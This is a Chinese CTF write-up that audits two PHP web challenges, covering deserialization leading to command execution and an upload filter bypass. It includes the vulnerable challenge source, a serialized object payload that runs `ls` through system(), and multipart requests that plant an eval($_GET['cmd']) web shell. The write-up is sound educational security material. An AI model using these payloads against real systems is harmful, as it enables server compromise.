放假抽空和同学打了一哈上海大学生的ctf，题目质量一般，脑洞太大，不过有两道代码审计题目还是不错的，同时自己也有好多点没有考虑到，这里记录一哈学习经验。
web2
序列化与反序列化
php所有的值都可以使用serialize()来存储数据，输出一串字符串。
unserialize()将字符串内包含的数据进行返回。
序列化一个对象(类的实例)，不会保存类的方法(所以一般情况只能去找类的漏洞)。
魔术方法
PHP 中所有以 __（两个下划线）开头的类方法保留为魔术方法。
常用的魔术方法有
__construct()， __destruct()， __call()， __callStatic()，
__get()， __set()， __isset()， __unset()， __sleep()，
__wakeup()， __toString()， __invoke()， __set_state()，
__clone() 和 __debugInfo()
一些默认情况
序列化一个对象是默认会调用__sleep
反序列化是会调用__wakeup
__construct会在实例化一个对象是被调用
__desturct会在对象不再使用或者程序退出时自动调用
__toString会在对象被当做字符串时使用(特别注意字符串连接符.)
__get会在读取不可访问的属性的值的时候调用
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>
这道题目是2017年百越杯的改版,这里刚开始是经典的$$变量覆盖漏洞，没什么好看的，直接丢paylaod
first=doller&a=var=give%26bbb=me%26ccc=flag
其中一些方法如下
__construct，初始化变量
__wakeup，在反序列化时会自动调用，先将$args进行trim，再进行waf
waf，将正则中的东西替换为空
echo，这里调用系统命令执行$host参数中指定的命令
__destruct，对象销毁时使用，如果传入的对象中有echo方法，就执行call_user_func_array函数，参数为$args
剩下这里就很简单了
$come=new come("echo",array("`ls`")); //init here
$test=serialize($come);
print_r($test);
O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:4:"`ls`";}}
然后
传入参数
unserialize($_GET['come']);
什么都没有发生。
这里参考原因是print_r中的部分不可见字符paylaod输出后进行了改变，手动调整就好。
print_r(urlencode($test));
come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22%60ls%60%22%3B%7D%7D
即可成功执行
另外也可以手动修改
00000000: 4f3a 343a 2263 6f6d 6522 3a32 3a7b 733a O:4:"come":2:{s:
00000010: 3132 3a22 0063 6f6d 6500 6d65 7468 6f64 12:".come.method
00000020: 223b 733a 343a 2265 6368 6f22 3b73 3a31 ";s:4:"echo";s:1
00000030: 303a 2200 636f 6d65 0061 7267 7322 3b61 0:".come.args";a
00000040: 3a31 3a7b 693a 303b 733a 343a 2260 6c73 :1:{i:0;s:4:"`ls
00000050: 6022 3b7d 7d `";}}
其中的.在之前的print_r中没有输出，这里修改为%00即可，最后直接给给payload。
?come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:4:"`ls`";}}
剩下没难度，老套路。
web3
这里记录一哈只因为学到了end和$filename[count($filename) - 1]),unlink绕过方法
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/www/html/sandbox/' . $dir;
echo mkdir($sandbox);
echo chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
echo $filename;
}
$ext = end($filename);
echo "ext1:$ext";
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
echo $new_name;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
echo $_;
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
比赛的时候乍一看需要过两关
end($filename)==$filename[count($filename) - 1]
substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false
想到了被hitcon的oneline题目，而且第一关没有过去的经验，给吓住了，直接就放弃了。
赛后再看发现这个题目真是太简单了
首先上传一个文件,然后比较
end($filename)==$filename[count($filename) - 1]
也就是后缀名师傅相等
不等就重命名为一个100-999(可爆破)的文件名.ext
而且上传文件的前6个字符需要为@<?php，如果文件名正确的化就直接文件包含输出。
然后删除文件
思路就很简单，需要爆破文件名就一定需要考虑unlink函数的漏洞，或者条件竞争。
至于end(filename[count($filename) - 1]的漏洞，这里参考了
这里问题出现在如何获取$filename
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
首先，检查有没有POST file,如果有的话，就直接获取file(这里file可以为数组)
如果没有的话，就获取上传的文件名$_FILES['file']['name'];
然后，如果if (!is_array($filename)) ，也就是文件名不是数组话，就.分割
也就是I.am.theKingOfNight会被分割为
file[0]=>'I'
file[1]=>'am'
file[2]=>'theKingOfNight'
然后再$ext = end($filename);，也就是获取filename的最后一项，在这里就返回theKingOfNight
而且，针对复合型数组
file[0]=>'I'
file[1]=>'am
file[name]=>'theKingOfNight'
end($filename)在这里取的是theKingOfNight
$filename[count($filename) - 1]在这里取的是file[2]，但是不存在这个东西，所以为空
至于unlink函数，这里也是利用了漏洞
本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留
在这里同时在自己的请求中上传自己想要上传的文件，在unlink函数之前使程序崩溃，就可以使得程序一直保留文件。
绕过unlink写shell，我参考了这篇程序，当然没有玩玩整整的读完，还是很有难度的
这里使用了一个小trik，也在文章最后给出
/.
万事具备，剩下的东西没什么难度了。
这里给出两个利用的payload，直接从这里偷的
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[0]"
php
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[a]"
php/.
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php
<?php
@eval($_GET['cmd']);
?>
----------------------------568507734196432315160385--
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[0]"
php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[a]"
php/.
----------------------------280543779984883401718121
Content-Disposition: form-data; name="hehe"
100.php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php
@<?php
@eval($_GET['cmd']);
?>
----------------------------280543779984883401718121--
当然，如果有什么好的提议或想法也欢迎师傅们多多交流，感激不尽。
参考
https://www.freebuf.com/column/163174.html
https://chybeta.github.io/2017/10/28/2017%E5%B9%B4%E7%99%BE%E8%B6%8A%E6%9D%AFAWD-web-writeup/?tdsourcetag=s_pctim_aiomsg
https://blog.csdn.net/publicStr/article/details/82085883
https://www.jianshu.com/p/dfd049924258
https://xz.aliyun.com/t/3155#toc-17
网友评论